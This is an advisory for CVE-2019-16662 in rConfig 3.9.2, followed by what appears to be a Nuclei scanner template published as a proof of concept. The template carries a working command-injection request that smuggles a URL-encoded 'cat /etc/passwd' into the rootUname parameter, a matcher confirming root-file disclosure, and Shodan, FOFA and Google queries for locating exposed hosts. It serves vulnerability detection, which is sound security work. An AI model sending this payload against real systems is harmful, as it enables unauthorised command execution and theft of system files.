rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
PoC代码[已公开]
id: CVE-2019-16662
info:
name: rConfig 3.9.2 - Remote Code Execution
author: pikpikcu
severity: critical
description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected system.
remediation: |
Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
- https://nvd.nist.gov/vuln/detail/CVE-2019-16662
- https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu
- http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html
- http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-16662
cwe-id: CWE-78
epss-score: 0.94452
epss-percentile: 0.99992
cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rconfig
product: rconfig
shodan-query: http.title:"rconfig"
fofa-query: title="rconfig"
google-query: intitle:"rconfig"
tags: cve2019,cve,intrusive,rconfig,packetstorm,rce,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
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